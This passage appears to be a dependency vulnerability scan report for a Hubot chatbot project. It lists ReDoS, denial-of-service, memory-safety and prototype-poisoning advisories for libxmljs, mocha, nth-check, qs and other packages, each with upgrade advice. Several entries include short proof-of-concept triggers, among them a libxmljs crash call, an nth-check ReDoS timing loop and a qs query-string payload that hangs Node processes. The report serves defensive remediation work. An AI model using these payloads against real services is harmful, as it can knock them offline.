  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade fresh to version 0.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) dict.c in libxml2 allows remote attackers to cause a denial of service (heap-based buffer over-read and application crash) via an unexpected character immediately after the "<!DOCTYPE html" substring in a crafted HTML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). xmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.

Remediation

There is no fixed version for libxmljs.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS) parser.c in libxml2 before 2.9.5 does not prevent infinite recursion in parameter entities.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@0.19.8.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). When invoking the libxmljs.parseXml function with a non-buffer argument the V8 code will attempt invoking the .toString method of the argument. If the argument's toString value is not a Function object V8 will crash.

PoC:


  let libxmljs = require("libxmljs"); 
  let xml = {toString: 1 }; 
  libxmljs.parseXml(xml);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 0.19.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The xmlBufAttrSerializeTxtContent function in xmlsave.c in libxml2 allows context-dependent attackers to cause a denial of service (out-of-bounds read and application crash) via a non-UTF-8 attribute value, related to serialization. NOTE: this vulnerability may be a duplicate of CVE-2016-3627.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the xmlHTMLPrintFileContext function in xmllint.c. An attacker can read memory contents that may contain sensitive data by triggering a buffer over-read condition.

Remediation

There is no fixed version for libxmljs.

References

high severity

Improper Input Validation

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. The (1) xmlParserEntityCheck and (2) xmlParseAttValueComplex functions in parser.c in libxml2 2.9.3 do not properly keep track of the recursion depth, which allows context-dependent attackers to cause a denial of service (stack consumption and application crash) via a crafted XML document containing a large number of nested entity references.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. The xmlStringGetNodeList function in tree.c in libxml2 2.9.3 and earlier, when used in recovery mode, allows context-dependent attackers to cause a denial of service (infinite recursion, stack consumption, and application crash) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Memory Leak

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Memory Leak xmlParseBalancedChunkMemoryRecover in parser.c in libxml2 before 2.9.10 has a memory leak related to newDoc->oldNs.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Memory Leak

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Memory Leak xmlSchemaPreRun in xmlschemas.c in libxml2 2.9.10 allows an xmlSchemaValidateStream memory leak.

Remediation

There is no fixed version for libxmljs.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference. A NULL pointer dereference vulnerability exists in the xpath.c:xmlXPathCompOpEval() function of libxml2 through 2.9.8 when parsing an invalid XPath expression in the XPATH_OP_AND or XPATH_OP_OR case. Applications processing untrusted XSL format inputs with the use of the libxml2 library may be vulnerable to a denial of service attack due to a crash of the application.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. The xmlParseElementDecl function in parser.c in libxml2 before 2.9.4 allows context-dependent attackers to cause a denial of service (heap-based buffer underread and application crash) via a crafted file, involving xmlParseName.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. A buffer overflow was discovered in libxml2 20904-GITv2.9.4-16-g0741801. The function xmlSnprintfElementContent in valid.c is supposed to recursively dump the element content definition into a char buffer 'buf' of size 'size'. The variable len is assigned strlen(buf). If the content->type is XML_ELEMENT_CONTENT_ELEMENT, then (i) the content->prefix is appended to buf (if it actually fits) whereupon (ii) content->name is written to the buffer. However, the check for whether the content->name actually fits also uses 'len' rather than the updated buffer length strlen(buf). This allows us to write about "size" many bytes beyond the allocated memory. This vulnerability causes programs that use libxml2, such as PHP, to crash.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a stack-based buffer overflow. The function xmlSnprintfElementContent in valid.c is supposed to recursively dump the element content definition into a char buffer 'buf' of size 'size'. At the end of the routine, the function may strcat two more characters without checking whether the current strlen(buf) + 2 < size. This vulnerability causes programs that use libxml2, such as PHP, to crash.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictComputeFastKey function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for libxml2 Bug 759398.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read libxml2 20904-GITv2.9.4-16-g0741801 is vulnerable to a heap-based buffer over-read in the xmlDictAddString function in dict.c. This vulnerability causes programs that use libxml2, such as PHP, to crash. This vulnerability exists because of an incomplete fix for CVE-2016-1839.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free in the xmlSchemaItemListAdd() function in xmlschemas.c, which is exploitable by supplying a malicious .xsd schema for validation. it may also be exploitable when an xsd:keyref is provided in combination with recursively defined types that have additional identity constraints, for validation against a non malicious schema.

Remediation

There is no fixed version for libxmljs.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mocha
  • Introduced through: mocha@3.5.3

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3
    Remediation: Upgrade to mocha@10.1.0.

Overview

mocha is a javascript test framework for node.js & the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mocha to version 10.1.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mocha
  • Introduced through: mocha@3.5.3

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3
    Remediation: Upgrade to mocha@6.0.0.

Overview

mocha is a javascript test framework for node.js & the browser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If the stack trace in utils.js begins with a large error message (>= 20k characters), and full-trace is not undisabled, utils.stackTraceFilter() will take exponential time to run.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mocha to version 6.0.0 or higher.

References

high severity
patched

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: negotiator
  • Introduced through: hubot@2.19.0

Vulnerability patched for: hubot express connect compression accepts negotiator

Vulnerability patched for: hubot express connect serve-index accepts negotiator

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 compression@1.5.2 accepts@1.2.13 negotiator@0.5.3
    Remediation: Open PR to patch negotiator@0.5.3.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-index@1.7.3 accepts@1.2.13 negotiator@0.5.3
    Remediation: Open PR to patch negotiator@0.5.3.

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nth-check
  • Introduced through: hubot-github-contribution-stats@0.6.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 cheerio@0.22.0 css-select@1.2.0 nth-check@1.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 css-select@1.2.0 nth-check@1.0.2

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.

PoC

var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nth-check to version 2.0.1 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 connect-multiparty@1.2.5 qs@2.2.5
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 qs@4.0.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3 qs@4.0.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 connect-multiparty@1.2.5 qs@2.2.5
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 qs@4.0.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3 qs@4.0.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

